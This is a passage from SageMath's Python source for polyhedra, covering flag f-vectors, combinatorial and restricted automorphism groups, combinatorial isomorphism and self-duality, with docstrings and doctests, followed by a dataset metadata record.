2-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 2-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 2-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 2-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 3-dimensional face of a 3-dimensional combinatorial polyhedron]\n            sage: D.degree_polynomial()                                         # optional - sage.rings.number_field\n            x^5 + x^4*y + x*y^4 + y^5 + 4*x^3*y + 8*x^2*y^2 + 4*x*y^3\n        \"\"\"\n\n        from sage.geometry.polyhedron.face import combinatorial_face_to_polyhedral_face\n        C = self.combinatorial_polyhedron()\n        D = C.hasse_diagram()\n\n        def index_to_polyhedron_face(n):\n            return combinatorial_face_to_polyhedral_face(\n                    self, C.face_by_face_lattice_index(n))\n\n        return D.relabel(index_to_polyhedron_face, inplace=False, immutable=True)\n\n    def flag_f_vector(self, *args):\n        r\"\"\"\n        Return the flag f-vector.\n\n        For each `-1 < i_0 < \\dots < i_n < d` the flag f-vector\n        counts the number of flags `F_0 \\subset \\dots \\subset F_n`\n        with `F_j` of dimension `i_j` for each `0 \\leq j \\leq n`,\n        where `d` is the dimension of the polyhedron.\n\n        INPUT:\n\n        - ``args`` -- integers (optional); specify an entry of the\n          flag-f-vector; must be an increasing sequence of integers\n\n        OUTPUT:\n\n        - a dictionary, if no arguments were given\n\n        - an Integer, if arguments were given\n\n        EXAMPLES:\n\n        Obtain the entire flag-f-vector::\n\n            sage: P = polytopes.twenty_four_cell()\n            sage: P.flag_f_vector()\n                {(-1,): 1,\n                 (0,): 24,\n                 (0, 1): 192,\n                 (0, 1, 2): 576,\n                 (0, 1, 2, 3): 1152,\n                 (0, 1, 3): 576,\n                 (0, 2): 288,\n                 (0, 2, 3): 576,\n                 (0, 3): 144,\n                 (1,): 96,\n                 (1, 2): 288,\n                 (1, 2, 3): 576,\n                 (1, 3): 288,\n                 (2,): 96,\n                 (2, 3): 192,\n                 (3,): 24,\n                 (4,): 1}\n\n        Specify an entry::\n\n            sage: P.flag_f_vector(0,3)\n            144\n            sage: P.flag_f_vector(2)\n            96\n\n        Leading ``-1`` and trailing entry of dimension are allowed::\n\n            sage: P.flag_f_vector(-1,0,3)\n            144\n            sage: P.flag_f_vector(-1,0,3,4)\n            144\n\n        One can get the number of trivial faces::\n\n            sage: P.flag_f_vector(-1)\n            1\n            sage: P.flag_f_vector(4)\n            1\n\n        Polyhedra with lines, have ``0`` entries accordingly::\n\n            sage: P = (Polyhedron(lines=[[1]]) * polytopes.cross_polytope(3))\n            sage: P.flag_f_vector()\n            {(-1,): 1,\n             (0, 1): 0,\n             (0, 1, 2): 0,\n             (0, 1, 3): 0,\n             (0, 2): 0,\n             (0, 2, 3): 0,\n             (0, 3): 0,\n             (0,): 0,\n             (1, 2): 24,\n             (1, 2, 3): 48,\n             (1, 3): 24,\n             (1,): 6,\n             (2, 3): 24,\n             (2,): 12,\n             (3,): 8,\n             4: 1}\n\n        If the arguments are not stricly increasing or out of range, a key error is raised::\n\n            sage: P.flag_f_vector(-1,0,3,6)\n            Traceback (most recent call last):\n            ...\n            KeyError: (0, 3, 6)\n            sage: P.flag_f_vector(-1,3,0)\n            Traceback (most recent call last):\n            ...\n            KeyError: (3, 0)\n        \"\"\"\n        flag = self._flag_f_vector()\n        if len(args) == 0:\n            return flag\n        elif len(args) == 1:\n            return flag[(args[0],)]\n        else:\n            dim = self.dimension()\n            if args[0] == -1:\n                args = args[1:]\n            if args[-1] == dim:\n                args = args[:-1]\n            return flag[tuple(args)]\n\n    @cached_method(do_pickle=True)\n    def _flag_f_vector(self):\n        r\"\"\"\n        Return the flag-f-vector.\n\n        See :meth:`flag_f_vector`.\n\n        TESTS::\n\n            sage: polytopes.hypercube(4)._flag_f_vector()\n            {(-1,): 1,\n            (0,): 16,\n            (0, 1): 64,\n            (0, 1, 2): 192,\n            (0, 1, 2, 3): 384,\n            (0, 1, 3): 192,\n            (0, 2): 96,\n            (0, 2, 3): 192,\n            (0, 3): 64,\n            (1,): 32,\n            (1, 2): 96,\n            (1, 2, 3): 192,\n            (1, 3): 96,\n            (2,): 24,\n            (2, 3): 48,\n            (3,): 8,\n            (4,): 1}\n        \"\"\"\n        return self.combinatorial_polyhedron()._flag_f_vector()\n\n    @cached_method\n    def combinatorial_automorphism_group(self, vertex_graph_only=False):\n        \"\"\"\n        Computes the combinatorial automorphism group.\n\n        If ``vertex_graph_only`` is ``True``,  the automorphism group\n        of the vertex-edge graph of the polyhedron is returned. Otherwise\n        the automorphism group of the vertex-facet graph, which is\n        isomorphic to the automorphism group of the face lattice is returned.\n\n        INPUT:\n\n        - ``vertex_graph_only`` -- boolean (default: ``False``); whether\n          to return the automorphism group of the vertex edges graph or\n          of the lattice\n\n        OUTPUT:\n\n        A\n        :class:`PermutationGroup<sage.groups.perm_gps.permgroup.PermutationGroup_generic_with_category'>`\n        that is isomorphic to the combinatorial automorphism group is\n        returned.\n\n        - if ``vertex_graph_only`` is ``True``:\n          The automorphism group of the vertex-edge graph of the polyhedron\n\n        - if ``vertex_graph_only`` is ``False`` (default):\n          The automorphism group of the vertex-facet graph of the polyhedron,\n          see :meth:`vertex_facet_graph`. This group is isomorphic to the\n          automorphism group of the face lattice of the polyhedron.\n\n        NOTE:\n\n            Depending on ``vertex_graph_only``, this method returns groups\n            that are not necessarily isomorphic, see the examples below.\n\n        .. SEEALSO::\n\n            :meth:`is_combinatorially_isomorphic`,\n            :meth:`graph`,\n            :meth:`vertex_facet_graph`.\n\n        EXAMPLES::\n\n            sage: quadrangle = Polyhedron(vertices=[(0,0),(1,0),(0,1),(2,3)])\n            sage: quadrangle.combinatorial_automorphism_group().is_isomorphic(groups.permutation.Dihedral(4))\n            True\n            sage: quadrangle.restricted_automorphism_group()\n            Permutation Group with generators [()]\n\n        Permutations of the vertex graph only exchange vertices with vertices::\n\n            sage: P = Polyhedron(vertices=[(1,0), (1,1)], rays=[(1,0)])\n            sage: P.combinatorial_automorphism_group(vertex_graph_only=True)\n            Permutation Group with generators [(A vertex at (1,0),A vertex at (1,1))]\n\n        This shows an example of two polytopes whose vertex-edge graphs are isomorphic,\n        but their face_lattices are not isomorphic::\n\n            sage: Q=Polyhedron([[-123984206864/2768850730773, -101701330976/922950243591, -64154618668/2768850730773, -2748446474675/2768850730773],\n            ....: [-11083969050/98314591817, -4717557075/98314591817, -32618537490/98314591817, -91960210208/98314591817],\n            ....: [-9690950/554883199, -73651220/554883199, 1823050/554883199, -549885101/554883199], [-5174928/72012097, 5436288/72012097, -37977984/72012097, 60721345/72012097],\n            ....: [-19184/902877, 26136/300959, -21472/902877, 899005/902877], [53511524/1167061933, 88410344/1167061933, 621795064/1167061933, 982203941/1167061933],\n            ....: [4674489456/83665171433, -4026061312/83665171433, 28596876672/83665171433, -78383796375/83665171433], [857794884940/98972360190089, -10910202223200/98972360190089, 2974263671400/98972360190089, -98320463346111/98972360190089]])\n            sage: C = polytopes.cyclic_polytope(4,8)\n            sage: C.is_combinatorially_isomorphic(Q)\n            False\n            sage: C.combinatorial_automorphism_group(vertex_graph_only=True).is_isomorphic(Q.combinatorial_automorphism_group(vertex_graph_only=True))\n            True\n            sage: C.combinatorial_automorphism_group(vertex_graph_only=False).is_isomorphic(Q.combinatorial_automorphism_group(vertex_graph_only=False))\n            False\n\n        The automorphism group of the face lattice is isomorphic to the combinatorial automorphism group::\n\n            sage: CG = C.hasse_diagram().automorphism_group()\n            sage: C.combinatorial_automorphism_group().is_isomorphic(CG)\n            True\n            sage: QG = Q.hasse_diagram().automorphism_group()\n            sage: Q.combinatorial_automorphism_group().is_isomorphic(QG)\n            True\n\n        \"\"\"\n        if vertex_graph_only:\n            G = self.graph()\n        else:\n            G = self.vertex_facet_graph()\n        return G.automorphism_group(edge_labels=True)\n\n    @cached_method\n    def restricted_automorphism_group(self, output=\"abstract\"):\n        r\"\"\"\n        Return the restricted automorphism group.\n\n        First, let the linear automorphism group be the subgroup of\n        the affine group `AGL(d,\\RR) = GL(d,\\RR) \\ltimes \\RR^d`\n        preserving the `d`-dimensional polyhedron. The affine group\n        acts in the usual way `\\vec{x}\\mapsto A\\vec{x}+b` on the\n        ambient space.\n\n        The restricted automorphism group is the subgroup of the linear\n        automorphism group generated by permutations of the generators\n        of the same type. That is, vertices can only be permuted with\n        vertices, ray generators with ray generators, and line\n        generators with line generators.\n\n        For example, take the first quadrant\n\n        .. MATH::\n\n            Q = \\Big\\{ (x,y) \\Big| x\\geq 0,\\; y\\geq0 \\Big\\}\n            \\subset \\QQ^2\n\n        Then the linear automorphism group is\n\n        .. MATH::\n\n            \\mathrm{Aut}(Q) =\n            \\left\\{\n            \\begin{pmatrix}\n            a & 0 \\\\ 0 & b\n            \\end{pmatrix}\n            ,~\n            \\begin{pmatrix}\n            0 & c \\\\ d & 0\n            \\end{pmatrix}\n            :~\n            a, b, c, d \\in \\QQ_{>0}\n            \\right\\}\n            \\subset\n            GL(2,\\QQ)\n            \\subset\n            E(d)\n\n        Note that there are no translations that map the quadrant `Q`\n        to itself, so the linear automorphism group is contained in\n        the general linear group (the subgroup of transformations\n        preserving the origin). The restricted automorphism group is\n\n        .. MATH::\n\n            \\mathrm{Aut}(Q) =\n            \\left\\{\n            \\begin{pmatrix}\n            1 & 0 \\\\ 0 & 1\n            \\end{pmatrix}\n            ,~\n            \\begin{pmatrix}\n            0 & 1 \\\\ 1 & 0\n            \\end{pmatrix}\n            \\right\\}\n            \\simeq \\ZZ_2\n\n        INPUT:\n\n        - ``output`` -- how the group should be represented:\n\n          - ``\"abstract\"`` (default) -- return an abstract permutation\n            group without further meaning.\n\n          - ``\"permutation\"`` -- return a permutation group on the\n            indices of the polyhedron generators. For example, the\n            permutation ``(0,1)`` would correspond to swapping\n            ``self.Vrepresentation(0)`` and ``self.Vrepresentation(1)``.\n\n          - ``\"matrix\"`` -- return a matrix group representing affine\n            transformations. When acting on affine vectors, you should\n            append a `1` to every vector. If the polyhedron is not full\n            dimensional, the returned matrices act as the identity on\n            the orthogonal complement of the affine space spanned by\n            the polyhedron.\n\n          - ``\"matrixlist\"`` -- like ``matrix``, but return the list of\n            elements of the matrix group. Useful for fields without a\n            good implementation of matrix groups or to avoid the\n            overhead of creating the group.\n\n        OUTPUT:\n\n        - For ``output=\"abstract\"`` and ``output=\"permutation\"``:\n          a :class:`PermutationGroup<sage.groups.perm_gps.permgroup.PermutationGroup_generic>`.\n\n        - For ``output=\"matrix\"``: a :class:`MatrixGroup`.\n\n        - For ``output=\"matrixlist\"``: a list of matrices.\n\n        REFERENCES:\n\n        - [BSS2009]_\n\n        EXAMPLES:\n\n        A cross-polytope example::\n\n            sage: P = polytopes.cross_polytope(3)\n            sage: P.restricted_automorphism_group() == PermutationGroup([[(3,4)], [(2,3),(4,5)],[(2,5)],[(1,2),(5,6)],[(1,6)]])\n            True\n            sage: P.restricted_automorphism_group(output=\"permutation\") == PermutationGroup([[(2,3)],[(1,2),(3,4)],[(1,4)],[(0,1),(4,5)],[(0,5)]])\n            True\n            sage: mgens = [[[1,0,0,0],[0,1,0,0],[0,0,-1,0],[0,0,0,1]], [[1,0,0,0],[0,0,1,0],[0,1,0,0],[0,0,0,1]], [[0,1,0,0],[1,0,0,0],[0,0,1,0],[0,0,0,1]]]\n\n        We test groups for equality in a fool-proof way; they can have different generators, etc::\n\n            sage: poly_g = P.restricted_automorphism_group(output=\"matrix\")\n            sage: matrix_g = MatrixGroup([matrix(QQ,t) for t in mgens])\n            sage: all(t.matrix() in poly_g for t in matrix_g.gens())\n            True\n            sage: all(t.matrix() in matrix_g for t in poly_g.gens())\n            True\n\n        24-cell example::\n\n            sage: P24 = polytopes.twenty_four_cell()\n            sage: AutP24 = P24.restricted_automorphism_group()\n            sage: PermutationGroup([\n            ....:     '(1,20,2,24,5,23)(3,18,10,19,4,14)(6,21,11,22,7,15)(8,12,16,17,13,9)',\n            ....:     '(1,21,8,24,4,17)(2,11,6,15,9,13)(3,20)(5,22)(10,16,12,23,14,19)'\n            ....: ]).is_isomorphic(AutP24)\n            True\n            sage: AutP24.order()\n            1152\n\n        Here is the quadrant example mentioned in the beginning::\n\n            sage: P = Polyhedron(rays=[(1,0),(0,1)])\n            sage: P.Vrepresentation()\n            (A vertex at (0, 0), A ray in the direction (0, 1), A ray in the direction (1, 0))\n            sage: P.restricted_automorphism_group(output=\"permutation\")\n            Permutation Group with generators [(1,2)]\n\n        Also, the polyhedron need not be full-dimensional::\n\n            sage: P = Polyhedron(vertices=[(1,2,3,4,5),(7,8,9,10,11)])\n            sage: P.restricted_automorphism_group()\n            Permutation Group with generators [(1,2)]\n            sage: G = P.restricted_automorphism_group(output=\"matrixlist\")\n            sage: G\n            (\n            [1 0 0 0 0 0]  [ -87/55  -82/55    -2/5   38/55   98/55   12/11]\n            [0 1 0 0 0 0]  [-142/55  -27/55    -2/5   38/55   98/55   12/11]\n            [0 0 1 0 0 0]  [-142/55  -82/55     3/5   38/55   98/55   12/11]\n            [0 0 0 1 0 0]  [-142/55  -82/55    -2/5   93/55   98/55   12/11]\n            [0 0 0 0 1 0]  [-142/55  -82/55    -2/5   38/55  153/55   12/11]\n            [0 0 0 0 0 1], [      0       0       0       0       0       1]\n            )\n            sage: g = AffineGroup(5, QQ)(G[1])\n            sage: g\n                  [ -87/55  -82/55    -2/5   38/55   98/55]     [12/11]\n                  [-142/55  -27/55    -2/5   38/55   98/55]     [12/11]\n            x |-> [-142/55  -82/55     3/5   38/55   98/55] x + [12/11]\n                  [-142/55  -82/55    -2/5   93/55   98/55]     [12/11]\n                  [-142/55  -82/55    -2/5   38/55  153/55]     [12/11]\n            sage: g^2\n                  [1 0 0 0 0]     [0]\n                  [0 1 0 0 0]     [0]\n            x |-> [0 0 1 0 0] x + [0]\n                  [0 0 0 1 0]     [0]\n                  [0 0 0 0 1]     [0]\n            sage: g(list(P.vertices()[0]))\n            (7, 8, 9, 10, 11)\n            sage: g(list(P.vertices()[1]))\n            (1, 2, 3, 4, 5)\n\n        Affine transformations do not change the restricted automorphism\n        group. For example, any non-degenerate triangle has the\n        dihedral group with 6 elements, `D_6`, as its automorphism\n        group::\n\n            sage: initial_points = [vector([1,0]), vector([0,1]), vector([-2,-1])]\n            sage: points = initial_points\n            sage: Polyhedron(vertices=points).restricted_automorphism_group()\n            Permutation Group with generators [(2,3), (1,2)]\n            sage: points = [pt - initial_points[0] for pt in initial_points]\n            sage: Polyhedron(vertices=points).restricted_automorphism_group()\n            Permutation Group with generators [(2,3), (1,2)]\n            sage: points = [pt - initial_points[1] for pt in initial_points]\n            sage: Polyhedron(vertices=points).restricted_automorphism_group()\n            Permutation Group with generators [(2,3), (1,2)]\n            sage: points = [pt - 2*initial_points[1] for pt in initial_points]\n            sage: Polyhedron(vertices=points).restricted_automorphism_group()\n            Permutation Group with generators [(2,3), (1,2)]\n\n        The ``output=\"matrixlist\"`` can be used over fields without a\n        complete implementation of matrix groups::\n\n            sage: P = polytopes.dodecahedron(); P\n            A 3-dimensional polyhedron in (Number Field in sqrt5 with defining polynomial x^2 - 5 with sqrt5 = 2.236067977499790?)^3 defined as the convex hull of 20 vertices\n            sage: G = P.restricted_automorphism_group(output=\"matrixlist\")\n            sage: len(G)\n            120\n\n        Floating-point computations are supported with a simple fuzzy\n        zero implementation::\n\n            sage: P = Polyhedron(vertices=[(1/3,0,0,1),(0,1/4,0,1),(0,0,1/5,1)], base_ring=RDF)\n            sage: P.restricted_automorphism_group()\n            Permutation Group with generators [(2,3), (1,2)]\n            sage: len(P.restricted_automorphism_group(output=\"matrixlist\"))\n            6\n\n        TESTS::\n\n            sage: P = Polyhedron(vertices=[(1,0), (1,1)], rays=[(1,0)])\n            sage: P.restricted_automorphism_group(output=\"permutation\")\n            Permutation Group with generators [(1,2)]\n            sage: P.restricted_automorphism_group(output=\"matrix\")\n            Matrix group over Rational Field with 1 generators (\n            [ 1  0  0]\n            [ 0 -1  1]\n            [ 0  0  1]\n            )\n            sage: P.restricted_automorphism_group(output=\"foobar\")\n            Traceback (most recent call last):\n            ...\n            ValueError: unknown output 'foobar', valid values are ('abstract', 'permutation', 'matrix', 'matrixlist')\n\n        Check that :trac:`28828` is fixed::\n\n            sage: P.restricted_automorphism_group(output=\"matrixlist\")[0].is_immutable()\n            True\n        \"\"\"\n        # The algorithm works as follows:\n        #\n        # Let V be the matrix where every column is a homogeneous\n        # coordinate of a V-representation object (vertex, ray, line).\n        # Let us assume that V has full rank, that the polyhedron is\n        # full dimensional.\n        #\n        # Let Q = V Vt and C = Vt Q^-1 V. The rows and columns of C\n        # can be thought of as being indexed by the V-rep objects of the\n        # polytope.\n        #\n        # It turns out that we can identify the restricted automorphism\n        # group with the automorphism group of the edge-colored graph\n        # on the V-rep objects with colors determined by the symmetric\n        # matrix C.\n        #\n        # An automorphism of this graph is equivalent to a permutation\n        # matrix P such that C = Pt C P. If we now define\n        # A = V P Vt Q^-1, then one can check that V P = A V.\n        # In other words: permuting the generators is the same as\n        # applying the affine transformation A on the generators.\n        #\n        # If the given polyhedron is not fully-dimensional,\n        # then Q will be not invertible. In this case, we use a\n        # pseudoinverse Q+ instead of Q^-1. The formula for A acting on\n        # the space spanned by V then simplifies to A = V P V+ where V+\n        # denotes the pseudoinverse of V, which also equals V+ = Vt Q+.\n        #\n        # If we are asked to return the (group of) transformation\n        # matrices to the user, we also require that those\n        # transformations act as the identity on the orthogonal\n        # complement of the space spanned by V. This complement is the\n        # space spanned by the columns of W = 1 - V V+. One can check\n        # that B = (V P V+) + W is the correct matrix: it acts the same\n        # as A on V and it satisfies B W = W.\n\n        outputs = (\"abstract\", \"permutation\", \"matrix\", \"matrixlist\")\n        if output not in outputs:\n            raise ValueError(\"unknown output {!r}, valid values are {}\".format(output, outputs))\n\n        # For backwards compatibility, we treat \"abstract\" as\n        # \"permutation\", but where we add 1 to the indices of the\n        # permutations.\n        index0 = 0\n        if output == \"abstract\":\n            index0 = 1\n            output = \"permutation\"\n\n        if self.base_ring().is_exact():\n            def rational_approximation(c):\n                return c\n        else:\n            c_list = []\n\n            def rational_approximation(c):\n                # Implementation detail: Return unique integer if two\n                # c-values are the same up to machine precision. But\n                # you can think of it as a uniquely-chosen rational\n                # approximation.\n                for i, x in enumerate(c_list):\n                    if self._is_zero(x - c):\n                        return i\n                c_list.append(c)\n                return len(c_list) - 1\n\n        if self.is_compact():\n            def edge_label(i, j, c_ij):\n                return c_ij\n        else:\n            # In the non-compact case, we also label the edges by the\n            # type of the V-representation object. This ensures that\n            # vertices, rays, and lines are only permuted amongst\n            # themselves.\n            def edge_label(i, j, c_ij):\n                return (self.Vrepresentation(i).type(), c_ij, self.Vrepresentation(j).type())\n\n        # Homogeneous coordinates for the V-representation objects.\n        # Mathematically, V is a matrix. For efficiency however, we\n        # represent it as a list of column vectors.\n        V = [v.homogeneous_vector() for v in self.Vrepresentation()]\n\n        # Pseudoinverse of V Vt\n        Qplus = sum(v.column() * v.row() for v in V).pseudoinverse()\n\n        # Construct the graph.\n        from sage.graphs.graph import Graph\n        G = Graph()\n        for i in range(len(V)):\n            for j in range(i+1, len(V)):\n                c_ij = rational_approximation(V[i] * Qplus * V[j])\n                G.add_edge(index0+i, index0+j, edge_label(i, j, c_ij))\n\n        permgroup = G.automorphism_group(edge_labels=True)\n        if output == \"permutation\":\n            return permgroup\n        elif output == \"matrix\":\n            permgroup = permgroup.gens()\n\n        # Compute V+ = Vt Q+ as list of row vectors\n        from sage.matrix.constructor import matrix\n        Vplus = list(matrix(V) * Qplus)  # matrix(V) is Vt\n\n        # Compute W = 1 - V V+\n        W = 1 - sum(V[i].column() * Vplus[i].row() for i in range(len(V)))\n\n        # Convert the permutation group to a matrix group.\n        # If P is a permutation, then we return the matrix\n        # B = (V P V+) + W.\n        #\n        # If output == \"matrix\", we loop over the generators of the group.\n        # Otherwise, we loop over all elements.\n        matrices = []\n        for perm in permgroup:\n            A = sum(V[perm(i)].column() * Vplus[i].row() for i in range(len(V)))\n            matrices.append(A + W)\n\n        for mat in matrices:\n            mat.set_immutable()\n\n        if output == \"matrixlist\":\n            return tuple(matrices)\n        else:\n            from sage.groups.matrix_gps.finitely_generated import MatrixGroup\n            return MatrixGroup(matrices)\n\n    def is_combinatorially_isomorphic(self, other, algorithm='bipartite_graph'):\n        r\"\"\"\n        Return whether the polyhedron is combinatorially isomorphic to another polyhedron.\n\n        We only consider bounded polyhedra. By definition, they are\n        combinatorially isomorphic if their face lattices are isomorphic.\n\n        INPUT:\n\n        - ``other`` -- a polyhedron object\n        - ``algorithm`` (default = ``bipartite_graph``) -- the algorithm to use.\n          The other possible value is ``face_lattice``.\n\n        OUTPUT:\n\n        - ``True`` if the two polyhedra are combinatorially isomorphic\n        - ``False`` otherwise\n\n        .. SEEALSO::\n\n            :meth:`combinatorial_automorphism_group`,\n            :meth:`vertex_facet_graph`.\n\n        REFERENCES:\n\n        For the equivalence of the two algorithms see [KK1995]_, p. 877-878\n\n        EXAMPLES:\n\n        The square is combinatorially isomorphic to the 2-dimensional cube::\n\n            sage: polytopes.hypercube(2).is_combinatorially_isomorphic(polytopes.regular_polygon(4))\n            True\n\n        All the faces of the 3-dimensional permutahedron are either\n        combinatorially isomorphic to a square or a hexagon::\n\n            sage: H = polytopes.regular_polygon(6)                              # optional - sage.rings.number_field\n            sage: S = polytopes.hypercube(2)\n            sage: P = polytopes.permutahedron(4)\n            sage: all(F.as_polyhedron().is_combinatorially_isomorphic(S)        # optional - sage.rings.number_field\n            ....:       or F.as_polyhedron().is_combinatorially_isomorphic(H)\n            ....:     for F in P.faces(2))\n            True\n\n        Checking that a regular simplex intersected with its reflection\n        through the origin is combinatorially isomorphic to the intersection\n        of a cube with a hyperplane perpendicular to its long diagonal::\n\n            sage: def simplex_intersection(k):\n            ....:   S1 = Polyhedron([vector(v)-vector(polytopes.simplex(k).center()) for v in polytopes.simplex(k).vertices_list()])\n            ....:   S2 = Polyhedron([-vector(v) for v in S1.vertices_list()])\n            ....:   return S1.intersection(S2)\n            sage: def cube_intersection(k):\n            ....:    C = polytopes.hypercube(k+1)\n            ....:    H = Polyhedron(eqns=[[0]+[1 for i in range(k+1)]])\n            ....:    return C.intersection(H)\n            sage: [simplex_intersection(k).is_combinatorially_isomorphic(cube_intersection(k)) for k in range(2,5)]\n            [True, True, True]\n            sage: simplex_intersection(2).is_combinatorially_isomorphic(polytopes.regular_polygon(6))   # optional - sage.rings.number_field\n            True\n            sage: simplex_intersection(3).is_combinatorially_isomorphic(polytopes.octahedron())\n            True\n\n        Two polytopes with the same `f`-vector, but different combinatorial types::\n\n            sage: P = Polyhedron([[-605520/1525633, -605520/1525633, -1261500/1525633, -52200/1525633, 11833/1525633],\\\n             [-720/1769, -600/1769, 1500/1769, 0, -31/1769], [-216/749, 240/749, -240/749, -432/749, 461/749], \\\n             [-50/181, 50/181, 60/181, -100/181, -119/181], [-32/51, -16/51, -4/51, 12/17, 1/17],\\\n             [1, 0, 0, 0, 0], [16/129, 128/129, 0, 0, 1/129], [64/267, -128/267, 24/89, -128/267, 57/89],\\\n             [1200/3953, -1200/3953, -1440/3953, -360/3953, -3247/3953], [1512/5597, 1512/5597, 588/5597, 4704/5597, 2069/5597]])\n            sage: C = polytopes.cyclic_polytope(5,10)\n            sage: C.f_vector() == P.f_vector(); C.f_vector()\n            True\n            (1, 10, 45, 100, 105, 42, 1)\n            sage: C.is_combinatorially_isomorphic(P)\n            False\n\n            sage: S = polytopes.simplex(3)\n            sage: S = S.face_truncation(S.faces(0)[3])\n            sage: S = S.face_truncation(S.faces(0)[4])\n            sage: S = S.face_truncation(S.faces(0)[5])\n            sage: T = polytopes.simplex(3)\n            sage: T = T.face_truncation(T.faces(0)[3])\n            sage: T = T.face_truncation(T.faces(0)[4])\n            sage: T = T.face_truncation(T.faces(0)[4])\n            sage: T.is_combinatorially_isomorphic(S)\n            False\n            sage: T.f_vector(), S.f_vector()\n            ((1, 10, 15, 7, 1), (1, 10, 15, 7, 1))\n\n            sage: C = polytopes.hypercube(5)\n            sage: C.is_combinatorially_isomorphic(C)\n            True\n            sage: C.is_combinatorially_isomorphic(C, algorithm='magic')\n            Traceback (most recent call last):\n            ...\n            AssertionError: `algorithm` must be 'bipartite graph' or 'face_lattice'\n\n            sage: G = Graph()\n            sage: C.is_combinatorially_isomorphic(G)\n            Traceback (most recent call last):\n            ...\n            AssertionError: input `other` must be a polyhedron\n\n            sage: H = Polyhedron(eqns=[[0,1,1,1,1]]); H\n            A 3-dimensional polyhedron in QQ^4 defined as the convex hull of 1 vertex and 3 lines\n            sage: C.is_combinatorially_isomorphic(H)\n            Traceback (most recent call last):\n            ...\n            AssertionError: polyhedron `other` must be bounded\n\n        \"\"\"\n        assert isinstance(other, Polyhedron_base4), \"input `other` must be a polyhedron\"\n        assert self.is_compact(), \"polyhedron `self` must be bounded\"\n        assert other.is_compact(), \"polyhedron `other` must be bounded\"\n        assert algorithm in ['bipartite_graph', 'face_lattice'], \"`algorithm` must be 'bipartite graph' or 'face_lattice'\"\n\n        # For speed, we check if the polyhedra have the same number of facets and vertices.\n        # This is faster than building the bipartite graphs first and\n        # then check that they won't be isomorphic.\n        if self.n_vertices() != other.n_vertices() or self.n_facets() != other.n_facets():\n            return False\n\n        if algorithm == 'bipartite_graph':\n            G_self = self.vertex_facet_graph(False)\n            G_other = other.vertex_facet_graph(False)\n\n            return G_self.is_isomorphic(G_other)\n        else:\n            return self.face_lattice().is_isomorphic(other.face_lattice())\n\n    def _test_is_combinatorially_isomorphic(self, tester=None, **options):\n        \"\"\"\n        Run tests on the method :meth:`.is_combinatorially_isomorphic`.\n\n        TESTS::\n\n            sage: polytopes.cross_polytope(3)._test_is_combinatorially_isomorphic()\n        \"\"\"\n        if tester is None:\n            tester = self._tester(**options)\n\n        if not self.is_compact():\n            with tester.assertRaises(AssertionError):\n                self.is_combinatorially_isomorphic(self)\n            return\n\n        if self.n_vertices() > 200 or self.n_facets() > 200:\n            # Avoid very long doctests.\n            return\n\n        try:\n            import sage.graphs.graph\n        except ImportError:\n            return\n\n        from sage.rings.integer_ring import ZZ\n        tester.assertTrue(self.is_combinatorially_isomorphic(ZZ(4)*self))\n        if self.n_vertices():\n            tester.assertTrue(self.is_combinatorially_isomorphic(self + self.center()))\n\n        if self.n_vertices() < 20 and self.n_facets() < 20 and self.is_immutable():\n            tester.assertTrue(self.is_combinatorially_isomorphic(ZZ(4)*self, algorithm='face_lattice'))\n            if self.n_vertices():\n                tester.assertTrue(self.is_combinatorially_isomorphic(self + self.center(), algorithm='face_lattice'))\n\n    def is_self_dual(self):\n        r\"\"\"\n        Return whether the polytope is self-dual.\n\n        A polytope is self-dual if its face lattice is isomorphic to the face\n        lattice of its dual polytope.\n\n        EXAMPLES::\n\n            sage: polytopes.simplex().is_self_dual()\n            True\n            sage: polytopes.twenty_four_cell().is_self_dual()\n            True\n            sage: polytopes.cube().is_self_dual()\n            False\n            sage: polytopes.hypersimplex(5,2).is_self_dual()\n            False\n            sage: P = Polyhedron(vertices=[[1/2, 1/3]], rays=[[1, 1]]).is_self_dual()\n            Traceback (most recent call last):\n            ...\n            ValueError: polyhedron has to be compact\n\n        \"\"\"\n        if not self.is_compact():\n            raise ValueError(\"polyhedron has to be compact\")\n\n        n = self.n_vertices()\n        m = self.n_facets()\n        if n != m:\n            return False\n\n        G1 = self.vertex_facet_graph()\n        G2 = G1.reverse()\n        return G1.is_isomorphic(G2)\n", "meta": {"hexsha": "8c7dd0c2836a2c8c24a3defb8bbec8e4c93c801b", "size": 51858, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/geometry/polyhedron/base4.py", "max_stars_repo_name": "LaisRast/sage", "max_stars_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/geometry/polyhedron/base4.py", "max_issues_repo_name": "LaisRast/sage", "max_issues_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/geometry/polyhedron/base4.py", "max_forks_repo_name": "LaisRast/sage", "max_forks_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.6195826645, "max_line_length": 245, "alphanum_fraction": 0.563191793, "include": true, "reason": "import sage,from sage", "num_tokens": 13806, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.11920293140927592, "lm_q1q2_score": 0.05634525604188353}}
